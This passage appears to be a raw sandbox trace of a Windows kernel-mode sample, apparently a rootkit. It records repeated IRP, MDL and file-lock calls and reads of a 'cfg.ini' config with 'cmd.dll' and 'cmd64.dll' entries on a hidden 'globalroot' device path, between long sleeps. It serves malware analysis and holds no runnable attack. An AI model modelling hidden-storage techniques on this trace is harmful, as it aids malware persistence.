FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.878] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.878] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.878] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.878] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0116.878] IdePortDispatch () returned 0x103 [0116.879] KeWaitForMutexObject () returned 0x0 [0116.879] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.879] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.879] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.879] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.879] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.879] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003963090 [0116.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.879] KeLeaveCriticalRegion () [0116.879] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.879] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.879] KeEnterCriticalRegion () [0116.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.879] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.879] KeLeaveCriticalRegion () [0116.879] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.879] KeEnterCriticalRegion () [0116.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.879] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.879] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.879] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.879] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0116.879] IdePortDispatch () returned 0x103 [0116.879] KeWaitForMutexObject () returned 0x0 [0116.879] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.879] KeLeaveCriticalRegion () [0116.879] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.879] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.879] KeEnterCriticalRegion () [0116.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.879] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b20000 [0116.879] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.879] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.879] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.879] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0116.879] IdePortDispatch () returned 0x103 [0116.880] KeWaitForMutexObject () returned 0x0 [0116.880] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.880] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.880] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.880] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.880] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0116.880] IdePortDispatch () returned 0x103 [0116.880] KeWaitForMutexObject () returned 0x0 [0116.880] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.880] KeLeaveCriticalRegion () [0116.880] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.881] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.881] KeEnterCriticalRegion () [0116.881] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.881] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.881] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.881] KeLeaveCriticalRegion () [0116.881] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.881] KeEnterCriticalRegion () [0116.881] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.881] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0116.881] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c8a30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.881] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.881] KeLeaveCriticalRegion () [0116.881] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.881] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.881] KeEnterCriticalRegion () [0116.881] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.881] ExFreePoolWithTag (P=0xfffffa8003963090, Tag=0x0) [0116.881] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.881] KeLeaveCriticalRegion () [0116.881] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.881] ReleaseMutex (hMutex=0xf0) returned 1 [0116.881] Sleep (dwMilliseconds=0x124f80) [0116.951] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.951] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0116.951] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.951] KeEnterCriticalRegion () [0116.951] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.951] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0116.951] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b87f40 [0116.951] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.951] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0116.951] IdePortDispatch () returned 0x103 [0116.951] KeWaitForMutexObject () returned 0x0 [0116.951] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.951] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.951] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.951] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.951] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.951] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80081efc20 [0116.951] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.951] KeLeaveCriticalRegion () [0116.951] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0116.952] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.952] KeEnterCriticalRegion () [0116.952] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.952] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0116.952] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.952] KeLeaveCriticalRegion () [0116.952] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.952] KeEnterCriticalRegion () [0116.952] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.952] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0116.952] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b87f40 [0116.952] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.952] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0116.952] IdePortDispatch () returned 0x103 [0116.952] KeWaitForMutexObject () returned 0x0 [0116.952] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.952] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.952] KeLeaveCriticalRegion () [0116.952] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0116.952] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.952] KeEnterCriticalRegion () [0116.952] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.952] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d06000 [0116.952] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0116.952] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0116.952] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.952] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0116.952] IdePortDispatch () returned 0x103 [0116.953] KeWaitForMutexObject () returned 0x0 [0116.953] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.953] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0116.953] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0116.953] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.953] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0116.953] IdePortDispatch () returned 0x103 [0116.953] KeWaitForMutexObject () returned 0x0 [0116.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.953] KeLeaveCriticalRegion () [0116.953] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0116.954] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.954] KeEnterCriticalRegion () [0116.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.954] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0116.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.954] KeLeaveCriticalRegion () [0116.954] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.954] KeEnterCriticalRegion () [0116.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.954] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0116.954] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c6440, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.954] KeLeaveCriticalRegion () [0116.954] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0116.954] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.954] KeEnterCriticalRegion () [0116.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.954] ExFreePoolWithTag (P=0xfffffa80081efc20, Tag=0x0) [0116.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.954] KeLeaveCriticalRegion () [0116.954] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0116.954] ReleaseMutex (hMutex=0xf0) returned 1 [0116.954] Sleep (dwMilliseconds=0x124f80) [0117.317] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.317] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.317] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.317] KeEnterCriticalRegion () [0117.317] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.317] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.317] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.317] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.317] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.317] IdePortDispatch () returned 0x103 [0117.317] KeWaitForMutexObject () returned 0x0 [0117.318] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.318] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.318] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.318] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.318] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.318] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c53c0 [0117.318] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.318] KeLeaveCriticalRegion () [0117.318] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.318] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.318] KeEnterCriticalRegion () [0117.318] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.318] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.318] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.318] KeLeaveCriticalRegion () [0117.318] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.318] KeEnterCriticalRegion () [0117.318] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.318] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.318] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.318] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.318] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.318] IdePortDispatch () returned 0x103 [0117.318] KeWaitForMutexObject () returned 0x0 [0117.318] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.318] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.318] KeLeaveCriticalRegion () [0117.318] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.318] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.318] KeEnterCriticalRegion () [0117.318] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.319] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7d000 [0117.319] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.319] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.319] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.319] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.319] IdePortDispatch () returned 0x103 [0117.319] KeWaitForMutexObject () returned 0x0 [0117.319] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.319] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.319] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.319] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.319] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.319] IdePortDispatch () returned 0x103 [0117.319] KeWaitForMutexObject () returned 0x0 [0117.319] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.319] KeLeaveCriticalRegion () [0117.319] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.320] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.320] KeEnterCriticalRegion () [0117.320] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.320] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.320] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.320] KeLeaveCriticalRegion () [0117.320] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.320] KeEnterCriticalRegion () [0117.320] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.320] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.320] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039ce660, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.320] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.320] KeLeaveCriticalRegion () [0117.320] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.320] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.320] KeEnterCriticalRegion () [0117.320] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.320] ExFreePoolWithTag (P=0xfffffa80039c53c0, Tag=0x0) [0117.320] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.320] KeLeaveCriticalRegion () [0117.320] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.320] ReleaseMutex (hMutex=0xf0) returned 1 [0117.320] Sleep (dwMilliseconds=0x124f80) [0117.341] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.341] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.341] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.341] KeEnterCriticalRegion () [0117.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.341] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.341] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.341] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.341] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.341] IdePortDispatch () returned 0x103 [0117.341] KeWaitForMutexObject () returned 0x0 [0117.341] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.341] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.341] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.341] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.341] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.341] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b28790 [0117.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.341] KeLeaveCriticalRegion () [0117.341] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.341] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.341] KeEnterCriticalRegion () [0117.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.341] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.341] KeLeaveCriticalRegion () [0117.341] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.342] KeEnterCriticalRegion () [0117.342] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.342] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.342] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.342] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) 